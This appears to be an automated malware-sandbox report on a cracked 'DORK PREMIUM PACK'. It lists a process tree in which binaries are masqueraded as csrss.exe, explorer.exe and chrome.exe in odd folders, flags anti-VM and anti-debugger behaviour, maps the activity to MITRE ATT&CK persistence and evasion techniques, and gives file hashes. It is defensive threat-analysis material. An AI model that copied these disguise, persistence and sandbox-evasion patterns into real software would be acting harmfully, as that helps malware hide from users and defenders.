C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:12⤵PID:972
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4092 /prefetch:82⤵PID:4800
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:4768
-
C:\Program Files\Windows Mail\comSvc.exe"C:\Program Files\Windows Mail\comSvc.exe"1⤵PID:1328
-
C:\Users\All Users\SoftwareDistribution\explorer.exe"C:\Users\All Users\SoftwareDistribution\explorer.exe"1⤵PID:5452
-
C:\DriverHostCrtNet\videos.exeC:\DriverHostCrtNet\videos.exe1⤵PID:6036
-
C:\Program Files\Uninstall Information\chrome.exe"C:\Program Files\Uninstall Information\chrome.exe"1⤵PID:2688
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork\Dork.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork\Dork.exe"1⤵PID:6000
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork\lib.cfglib.cfg2⤵PID:2260
-
-
C:\ProgramData\UserOOBE\UserOOBE.exeC:\ProgramData\\UserOOBE\\UserOOBE.exe ,.2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4400
-
-
C:\ProgramData\winsrvhost\winsrvhost.exeC:\ProgramData\\winsrvhost\\winsrvhost.exe vI2hRL2hQNbpQ0aLXXO2Q8kidViQmYXdhDiFYxcUyEDvnrv3yUQsgv7VuepWZe4I2⤵PID:5520
-
-
C:\Users\Default User\csrss.exe"C:\Users\Default User\csrss.exe"1⤵PID:1384
-
C:\Program Files\7-Zip\Lang\Registry.exe"C:\Program Files\7-Zip\Lang\Registry.exe"1⤵PID:3800
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\Dork Gen Cracked.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\Dork Gen Cracked.exe"1⤵PID:5228
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\build.libbuild.lib2⤵PID:3512
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\dorklist.txt1⤵PID:1228
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ\Searcher.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ\Searcher.exe"1⤵PID:5872
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ\Qt5Core.dllQt5Core.dll2⤵PID:2620
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2620 -s 17243⤵
- Program crash
PID:2272
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2620 -ip 26201⤵PID:640
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ by VoidPrince\Searcher.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ by VoidPrince\Searcher.exe"1⤵PID:6044
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ by VoidPrince\libEGL32.binlibEGL32.bin2⤵PID:3132
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 17683⤵
- Program crash
PID:5944
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3132 -ip 31321⤵PID:2112
Network
MITRE ATT&CK Enterprise v6
Persistence
Change Default File Association
1Modify Existing Service
2Registry Run Keys / Startup Folder
2Scheduled Task
1Defense Evasion
Impair Defenses
1Modify Registry
4Scripting
1Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
253KB
MD549ac3c96d270702a27b4895e4ce1f42a
SHA155b90405f1e1b72143c64113e8bc65608dd3fd76
SHA25682aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f
SHA512b62f6501cb4c992d42d9097e356805c88ac4ac5a46ead4a8eee9f8cbae197b2305da8aab5b4a61891fe73951588025f2d642c32524b360687993f98c913138a0
-
Filesize
141KB
MD5ea1c1ffd3ea54d1fb117bfdbb3569c60
SHA110958b0f690ae8f5240e1528b1ccffff28a33272
SHA2567c3a6a7d16ac44c3200f572a764bce7d8fa84b9572dd028b15c59bdccbc0a77d
SHA5126c30728cac9eac53f0b27b7dbe2222da83225c3b63617d6b271a6cfedf18e8f0a8dffa1053e1cbc4c5e16625f4bbc0d03aa306a946c9d72faa4ceb779f8ffcaf